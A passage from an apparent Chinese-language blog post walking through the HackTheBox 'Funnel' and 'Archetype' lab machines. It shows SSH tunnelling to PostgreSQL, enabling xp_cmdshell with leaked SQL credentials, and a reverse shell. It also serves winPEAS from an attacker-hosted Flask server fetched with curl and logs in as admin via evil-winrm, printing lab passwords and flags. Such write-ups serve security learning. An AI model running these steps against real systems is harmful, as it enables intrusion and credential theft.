LISTEN  0        4096           127.0.0.1:36209          0.0.0.0:*              
LISTEN  0        4096       127.0.0.53%lo:53             0.0.0.0:*              
LISTEN  0        128              0.0.0.0:22             0.0.0.0:*              
LISTEN  0        4096           127.0.0.1:5432           0.0.0.0:*              
LISTEN  0        32                     *:21                   *:*              
LISTEN  0        128                 [::]:22                [::]:*  
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;有個 &lt;code&gt;postgresql&lt;/code&gt; ㄟ，嘗試用看看&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;christine@funnel:~$ psql

Command &amp;#39;psql&amp;#39; not found, but can be installed with:

apt install postgresql-client-common
Please ask your administrator.

christine@funnel:~$ sudo apt install postgresql-client-common
[sudo] password for christine: 
christine is not in the sudoers file.  This incident will be reported.
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;阿我們都沒權限ㄟ，沒事，這時就要用到剛剛提到的隧道了&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[tusoaring@htb-oztamikw6o]─[~/Desktop]
└──╼ $ssh -L 6969:localhost:5432 christine@10.129.228.195 
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;可以表示成&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[tusoaring@htb-oztamikw6o]─[~/Desktop]
└──╼ $ssh -L {本機對外開的IP隧道}:localhost:{靶機要給我們連的IP} christine@10.129.228.195
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;喔對 這邊要靶機那邊打 &lt;code&gt;5432&lt;/code&gt; 是因為剛剛在連 &lt;code&gt;ssh&lt;/code&gt; 時看到 psql 是在本地聽 &lt;code&gt;5432&lt;/code&gt; port 的!&lt;/li&gt;
&lt;li&gt;enter 後他要你輸入密碼，但一樣是那個預設密碼&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/rkBRoh9vR.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;開好隧道了! 我們嘗試用 &lt;code&gt;psql&lt;/code&gt; 連&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[✗]─[tusoaring@htb-oztamikw6o]─[~/Desktop]
└──╼ $psql -h localhost -p 6969 -U christine
Password for user christine: 
psql (15.7 (Debian 15.7-0+deb12u1), server 15.1 (Debian 15.1-1.pgdg110+1))
Type &amp;quot;help&amp;quot; for help.

christine=# 
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;成功!&lt;/li&gt;
&lt;li&gt;查查 psql 的指令&lt;/li&gt;
&lt;li&gt;列出 dbs&lt;/li&gt;
&lt;li&gt;&lt;code&gt;\l&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;   Name    |   Owner   | Encoding |  Collate   |   Ctype    | ICU Locale | Locale Provider |    Access privileges    
-----------+-----------+----------+------------+------------+------------+-----------------+-------------------------
 christine | christine | UTF8     | en_US.utf8 | en_US.utf8 |            | libc            | 
 postgres  | christine | UTF8     | en_US.utf8 | en_US.utf8 |            | libc            | 
 secrets   | christine | UTF8     | en_US.utf8 | en_US.utf8 |            | libc            | 
 template0 | christine | UTF8     | en_US.utf8 | en_US.utf8 |            | libc            | =c/christine           +
           |           |          |            |            |            |                 | christine=CTc/christine
 template1 | christine | UTF8     | en_US.utf8 | en_US.utf8 |            | libc            | =c/christine           +
           |           |          |            |            |            |                 | christine=CTc/christine
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;看看 &lt;code&gt;secrets&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;切換 db&lt;/li&gt;
&lt;li&gt;&lt;code&gt;\c {db&amp;#39;s name}&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;christine=# \c secrets
psql (15.7 (Debian 15.7-0+deb12u1), server 15.1 (Debian 15.1-1.pgdg110+1))
You are now connected to database &amp;quot;secrets&amp;quot; as user &amp;quot;christine&amp;quot;.
secrets=# 
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;看看 tables&lt;/li&gt;
&lt;li&gt;列出 tables&lt;/li&gt;
&lt;li&gt;&lt;code&gt;\z&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;secrets=# \z
                            Access privileges
 Schema | Name | Type  | Access privileges | Column privileges | Policies 
--------+------+-------+-------------------+-------------------+----------
 public | flag | table |                   |                   | 
(1 row)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;把 flag 搜出來就好了!&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;secrets=# SELECT * FROM flag;
              value               
----------------------------------
 cf277664b1771217d7006acdea006db1
(1 row)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Archetype (Pwned!)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;一樣 nmap 起手&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[us-starting-point-1-dhcp]─[10.10.14.108]─[tusoaring@htb-hnffyunubj]─[~/Desktop]
└──╼ [★]$ nmap -sC -sV -Pn -p- -T4 10.129.156.40
Nmap scan report for 10.129.156.40
Host is up (0.0080s latency).
Not shown: 65306 closed tcp ports (reset), 218 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp  open  ms-sql-s     Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info: 
|   10.129.156.40:1433: 
|     Target_Name: ARCHETYPE
|     NetBIOS_Domain_Name: ARCHETYPE
|     NetBIOS_Computer_Name: ARCHETYPE
|     DNS_Domain_Name: Archetype
|     DNS_Computer_Name: Archetype
|_    Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-07-10T14:43:14
|_Not valid after:  2054-07-10T14:43:14
|_ssl-date: 2024-07-10T14:51:42+00:00; 0s from scanner time.
| ms-sql-info: 
|   10.129.156.40:1433: 
|     Version: 
|       name: Microsoft SQL Server 2017 RTM
|       number: 14.00.1000.00
|       Product: Microsoft SQL Server 2017
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  unknown
49665/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb-os-discovery: 
|   OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
|   Computer name: Archetype
|   NetBIOS computer name: ARCHETYPE\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2024-07-10T07:50:59-07:00
|_clock-skew: mean: 1h24m01s, deviation: 3h07m54s, median: 0s
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time: 
|   date: 2024-07-10T14:50:50
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 427.92 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;比較關鍵的服務是看到開了 &lt;code&gt;smb&lt;/code&gt;、&lt;code&gt;mssql&lt;/code&gt;、&lt;code&gt;PS Remote&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;我們先來看看 &lt;code&gt;smb&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;注意的是這邊不一定要 &lt;code&gt;root&lt;/code&gt; 隨便 anonymous 都是可以的&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[us-starting-point-1-dhcp]─[10.10.14.108]─[tusoaring@htb-hnffyunubj]─[~/Desktop]
└──╼ [★]$ smbmap -H 10.129.156.40 -u root
[+] Guest session   	IP: 10.129.156.40:445	Name: 10.129.156.40                                     
        Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	backups                                           	READ ONLY	
	C$                                                	NO ACCESS	Default share
	IPC$                                              	READ ONLY	Remote IPC
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;分別進去看看 &lt;code&gt;backups&lt;/code&gt;、&lt;code&gt;IPC$&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;backups &lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[us-starting-point-1-dhcp]─[10.10.14.108]─[tusoaring@htb-hnffyunubj]─[~/Desktop]
└──╼ [★]$ smbclient \\\\10.129.156.40/backups
Password for [WORKGROUP\tusoaring]:
Try &amp;quot;help&amp;quot; to get a list of possible commands.
smb: \&amp;gt; ls
  .                                   D        0  Mon Jan 20 06:20:57 2020
  ..                                  D        0  Mon Jan 20 06:20:57 2020
  prod.dtsConfig                     AR      609  Mon Jan 20 06:23:02 2020
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;看到一個 &lt;code&gt;prod.dtsConfig&lt;/code&gt; 把他抓下來看看&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[us-starting-point-1-dhcp]─[10.10.14.108]─[tusoaring@htb-hnffyunubj]─[~/Desktop]
└──╼ [★]$ cat prod.dtsConfig 
&amp;lt;DTSConfiguration&amp;gt;
    &amp;lt;DTSConfigurationHeading&amp;gt;
        &amp;lt;DTSConfigurationFileInfo GeneratedBy=&amp;quot;...&amp;quot; GeneratedFromPackageName=&amp;quot;...&amp;quot; GeneratedFromPackageID=&amp;quot;...&amp;quot; GeneratedDate=&amp;quot;20.1.2019 10:01:34&amp;quot;/&amp;gt;
    &amp;lt;/DTSConfigurationHeading&amp;gt;
    &amp;lt;Configuration ConfiguredType=&amp;quot;Property&amp;quot; Path=&amp;quot;\Package.Connections[Destination].Properties[ConnectionString]&amp;quot; ValueType=&amp;quot;String&amp;quot;&amp;gt;
        &amp;lt;ConfiguredValue&amp;gt;Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;&amp;lt;/ConfiguredValue&amp;gt;
    &amp;lt;/Configuration&amp;gt;
&amp;lt;/DTSConfiguration&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;酷ㄟ，是有關 &lt;code&gt;mssql&lt;/code&gt; 的資料，還有 username/password&lt;/li&gt;
&lt;li&gt;嘗試用 &lt;code&gt;mssqlclient.py&lt;/code&gt; 連線看看!&lt;/li&gt;
&lt;li&gt;喔對 這邊要加 &lt;code&gt;-windows-auth&lt;/code&gt; 是因為我不是 administrator&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[us-starting-point-1-dhcp]─[10.10.14.108]─[tusoaring@htb-hnffyunubj]─[~/Desktop]
└──╼ [★]$ mssqlclient.py sql_svc:M3g4c0rp123@10.129.156.40 -debug -windows-auth

Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[+] Impacket Library Installation Path: /usr/local/lib/python3.11/dist-packages/impacket
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ARCHETYPE): Line 1: Changed database context to &amp;#39;master&amp;#39;.
[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232) 
[!] Press help for extra shell commands
SQL&amp;gt; 
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;好ㄟ連進去了，嘗試執行指令&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash!&quot;&gt;SQL&amp;gt; xp_cmdshell
[-] ERROR(ARCHETYPE): Line 1: SQL Server blocked access to procedure &amp;#39;sys.xp_cmdshell&amp;#39; of component &amp;#39;xp_cmdshell&amp;#39; because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of &amp;#39;xp_cmdshell&amp;#39; by using sp_configure. For more information about enabling &amp;#39;xp_cmdshell&amp;#39;, search for &amp;#39;xp_cmdshell&amp;#39; in SQL Server Books Online.
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;他說我們沒有啟用...我們嘗試搜尋啟用看看&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;https://learn.microsoft.com/zh-tw/sql/database-engine/configure-windows/xp-cmdshell-server-configuration-option?view=sql-server-ver16&quot;&gt;照著上面條就可以ㄌ&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;SQL&amp;gt; EXECUTE sp_configure &amp;#39;show advanced options&amp;#39;, 1;
[*] INFO(ARCHETYPE): Line 185: Configuration option &amp;#39;show advanced options&amp;#39; changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL&amp;gt; RECONFIGURE;
SQL&amp;gt; EXECUTE sp_configure &amp;#39;xp_cmdshell&amp;#39;, 1;
[*] INFO(ARCHETYPE): Line 185: Configuration option &amp;#39;xp_cmdshell&amp;#39; changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL&amp;gt; RECONFIGURE;
SQL&amp;gt; EXECUTE sp_configure &amp;#39;show advanced options&amp;#39;, 0;
[*] INFO(ARCHETYPE): Line 185: Configuration option &amp;#39;show advanced options&amp;#39; changed from 1 to 0. Run the RECONFIGURE statement to install.
SQL&amp;gt; RECONFIGURE;

SQL&amp;gt; xp_cmdshell whoami 
output                                                                             

--------------------------------------------------------------------------------   

archetype\sql_svc 
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;成功執行!&lt;/li&gt;
&lt;li&gt;你還可以在當前使用者目錄底下挖到 FLAG (user)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;SQL&amp;gt; xp_cmdshell dir \Users\sql_svc\Desktop
output                                                                             

--------------------------------------------------------------------------------   

 Volume in drive C has no label.                                                   

 Volume Serial Number is 9565-0B4F                                                 

NULL                                                                               

 Directory of C:\Users\sql_svc\Desktop                                             

NULL                                                                               

01/20/2020  06:42 AM    &amp;lt;DIR&amp;gt;          .                                           

01/20/2020  06:42 AM    &amp;lt;DIR&amp;gt;          ..                                          

02/25/2020  07:37 AM                32 user.txt                                    

               1 File(s)             32 bytes                                      

               2 Dir(s)  10,721,931,264 bytes free                                 

NULL     
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;接下來讓我們提權，可以用到有個工具叫 &lt;a href=&quot;https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS&quot;&gt;winPEAS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;他可以自動分析，並跟你講你可以利用甚麼提權&lt;/li&gt;
&lt;li&gt;但我們要怎麼載到靶機上?&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;我使用 reverse shell + 本地開一個 server -&amp;gt; 下載&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;先開 &lt;code&gt;reverse shell&lt;/code&gt; 之前有提到怎麼開&lt;/li&gt;
&lt;li&gt;但這次比較不一樣，我們要用 &lt;code&gt;powershell&lt;/code&gt; 開&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/rk1nr4hDA.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;複製好之後，攻擊機先 &lt;code&gt;nc&lt;/code&gt; 靶機輸入這串就可以彈回來ㄌ&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/HyxKUNhDR.jpg&quot; alt=&quot;temp&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;成功 GET SHELL!&lt;/li&gt;
&lt;li&gt;讓我們來運運 &lt;code&gt;winPEAS&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;我先在本地下載好，寫個 python server&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[us-starting-point-1-dhcp]─[10.10.14.108]─[tusoaring@htb-hnffyunubj]─[~/Desktop]
└──╼ [★]$ cat webser.py 
from flask import Flask, send_file

app = Flask(__name__)

@app.route(&amp;#39;/download&amp;#39;)
def download_shell():
    filename = &amp;#39;win.exe&amp;#39;
    return send_file(&amp;#39;./&amp;#39; + filename, as_attachment=True)

if __name__ == &amp;#39;__main__&amp;#39;:
    app.run(debug=True,host=&amp;#39;0.0.0.0&amp;#39;)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;接著在 &lt;code&gt;reverse shell&lt;/code&gt; 上輸入&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;PS C:\Users\sql_svc\Desktop&amp;gt; curl http://10.10.14.108:5000/download -o win.exe
PS C:\Users\sql_svc\Desktop&amp;gt; dir


    Directory: C:\Users\sql_svc\Desktop


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-ar---        2/25/2020   6:37 AM             32 user.txt                                                              
-a----        7/10/2024   9:30 AM        2387456 win.exe 
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;好ㄟ 然後執行他讓他跑一下&lt;/li&gt;
&lt;li&gt;跑很多出來，我放重要的&lt;/li&gt;
&lt;li&gt;我們可以看看，我們可以訪問的!&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash!&quot;&gt;???????????? Found History Files
File: C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

PS C:\Users\sql_svc\Desktop&amp;gt; type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
exit
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;哇免費管理員密碼&lt;/li&gt;
&lt;li&gt;嘗試用 &lt;code&gt;evil-winrm&lt;/code&gt; 登入&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[us-starting-point-1-dhcp]─[10.10.14.108]─[tusoaring@htb-hnffyunubj]─[~]
└──╼ [★]$ evil-winrm -u Administrator -p &amp;#39;MEGACORP_4dm1n!!&amp;#39; -i 10.129.156.40
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents&amp;gt; 

*Evil-WinRM* PS C:\Users\Administrator\Desktop&amp;gt; type root.txt
b91ccec3305e98240082d4474b848528
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;PWNED!!!&lt;/li&gt;
&lt;/ul&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://solarfish.me/blog/hackthebox_starting_point/&quot;&gt;https://solarfish.me/blog/hackthebox_starting_point/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>solarfish</dc:creator><pubDate>Fri, 01 Mar 2024 00:00:00 GMT</pubDate></item></channel></rss>